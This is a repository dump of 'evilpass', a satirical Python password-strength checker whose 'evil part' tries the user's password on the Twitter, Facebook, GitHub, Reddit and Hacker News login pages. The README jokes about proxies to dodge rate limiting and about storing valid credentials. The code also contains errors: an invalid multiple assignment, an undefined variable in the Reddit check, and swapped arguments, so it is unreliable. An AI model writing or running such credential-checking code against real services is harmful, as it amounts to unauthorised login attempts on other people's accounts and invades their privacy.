├── .gitignore ├── LICENSE ├── README.md └── evilpass └── __init__.py /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2017 Drew DeVault 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | this software and associated documentation files (the "Software"), to deal in 5 | the Software without restriction, including without limitation the rights to 6 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies 7 | of the Software, and to permit persons to whom the Software is furnished to do 8 | so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Slightly evil password strength checker (ORIGINALLY FORKED FROM SIRCMPWN BEFORE HE REMOVED GITHUB ACCOUNT?) see [https://git.sr.ht/~sircmpwn/evilpass](https://git.sr.ht/~sircmpwn/evilpass) 2 | 3 | Checks how strong your user's password is via questionably ethical means. 4 | 5 | ![](https://sr.ht/sHst.gif) 6 | 7 | ## Usage 8 | 9 | Please don't actually use this. 10 | 11 | ```python 12 | >>> from evilpass import check_pass 13 | >>> errors = check_pass("password", "email address", "username") 14 | >>> errors 15 | ["Your password must be at least 8 characters long"] 16 | ``` 17 | 18 | ## Password reuse is bad, okay? 19 | 20 | So quit doing it. Use a password manager. I personally recommend 21 | [pass](https://www.passwordstore.org/). 22 | 23 | ## Side note 24 | 25 | If you're actually checking user's password strength on sign up, I strongly 26 | suggest using a minimum entropy instead of contrived rules like this. I also 27 | suggest not trying to log into your user's account on other sites. 28 | 29 | ## Future development 30 | 31 | * Automate use of proxies to avoid rate limiting and other things external 32 | services might do when they detect you're doing this 33 | * Add other external services to check (I spent about 5 minutes on Google before 34 | I decided it wasn't worth the time required to reverse engineer their login 35 | flow, but it might be the most valuable account to try) 36 | * ~~Store valid credentials in a database for evil purposes~~ 37 | 38 | https://www.xkcd.com/792/ 39 | -------------------------------------------------------------------------------- /evilpass/__init__.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import string 3 | from bs4 import BeautifulSoup 4 | from urllib.parse import urlparse 5 | 6 | def _get(url, session=None, **kwargs): 7 | headers = kwargs.get("headers") or dict() 8 | headers.update(requests.utils.default_headers()) 9 | headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" 10 | kwargs["headers"] = headers 11 | if session: 12 | return session.get(url, **kwargs) 13 | else: 14 | return requests.get(url, **kwargs) 15 | 16 | def _post(url, session=None, **kwargs): 17 | headers = kwargs.get("headers") or dict() 18 | headers.update(requests.utils.default_headers()) 19 | headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" 20 | kwargs["headers"] = headers 21 | if session: 22 | return session.post(url, **kwargs) 23 | else: 24 | return requests.post(url, **kwargs) 25 | 26 | def _check_twitter(username, email, pw): 27 | with requests.Session() as session: 28 | r = _get("https://mobile.twitter.com/login", session=session) 29 | tk = session.cookies.get("_mb_tk") 30 | if not tk or r.status_code != 200: 31 | r = _get("https://mobile.twitter.com/i/nojs_router?path=%2Flogin", session=session) 32 | r = _get("https://mobile.twitter.com/login", session=session) 33 | tk = session.cookies.get("_mb_tk") 34 | if not tk or r.status_code != 200: 35 | return False 36 | r = _post("https://mobile.twitter.com/sessions", data={ 37 | "authenticity_token": tk, 38 | "session[username_or_email]": username, 39 | "session[password]": pw, 40 | "remember_me": 0, 41 | "wfa": 1, 42 | "redirect_after_login": "/home" 43 | }, session=session) 44 | url = urlparse(r.url) 45 | return url.path != "/login/error" 46 | 47 | def _check_github(username, email, pw): 48 | with requests.Session() as session: 49 | r = _get("https://github.com/login", session=session) 50 | soup = BeautifulSoup(r.text, "html.parser") 51 | i = soup.select_one("input[name='authenticity_token']") 52 | token = i["value"] 53 | r = _post("https://github.com/session", session=session, data={ 54 | "utf8": "✓", 55 | "commit": "Sign in", 56 | "authenticity_token": token, 57 | "login": username, 58 | "password": pw, 59 | }) 60 | url = urlparse(r.url) 61 | return url.path != "/session" and url.path != "/login" 62 | 63 | def _check_fb(username, email, pw): 64 | with requests.Session() as session: 65 | r = _get("https://www.facebook.com", session=session) 66 | if r.status_code != 200: 67 | return False 68 | r = _post("https://www.facebook.com/login.php?login_attempt=1&lwv=100", data={ 69 | "email": email, 70 | "pass": pw, 71 | "legacy_return": 0, 72 | "timezone": 480, 73 | }, session=session) 74 | url = urlparse(r.url) 75 | return url.path != "/login.php" 76 | 77 | def _check_reddit(username, email, pw): 78 | with requests.Session() as session: 79 | r = _get("https://www.reddit.com/login", session=session) 80 | if r.status_code != 200: 81 | return False 82 | r = _post("https://www.reddit.com/post/login", session=session, data={ 83 | "op": "login", 84 | "dest": "https://www.reddit.com/", 85 | "user": username, 86 | "passwd": pw, 87 | "rem": "off" 88 | }) 89 | return not "incorrect username or password" in text 90 | 91 | def _check_hn(username, email, pw): 92 | r = _post("https://news.ycombinator.com", data={ 93 | "goto": "news", 94 | "acct": username, 95 | "pw": pw 96 | }, allow_redirects=False) 97 | return r.status_code == 200 # Redirects on success 98 | 99 | checks = { 100 | "Twitter": _check_twitter, 101 | "Facebook": _check_fb, 102 | "GitHub": _check_github, 103 | "Reddit": _check_reddit, 104 | "Hacker News": _check_hn 105 | } 106 | 107 | def check_pass(pw, email, username): 108 | errors = list() 109 | # benign part 110 | if len(pw) < 8: 111 | errors.append("Your password must be at least 8 characters long") 112 | upper = False, lower = False, number = False 113 | for c in pw: 114 | if c in string.ascii_lowercase: 115 | lower = True 116 | if c in string.ascii_uppercase: 117 | upper = True 118 | if c in string.digits: 119 | number = True 120 | if not (upper and lower and number): 121 | errors.append("Your password must contain at least one uppercase letter, one lowercase letter, and one number") 122 | if pw.lower() == email.lower() or pw.lower() == username.lower(): 123 | errors.append("Your password must not be the same as your username or email address") 124 | # evil part 125 | if not username: 126 | username = email 127 | for check in checks: 128 | try: 129 | if checks[check](email, username, pw): 130 | errors.append("Your password must not be the same as your {} password".format(check)) 131 | except: 132 | pass 133 | return errors 134 | --------------------------------------------------------------------------------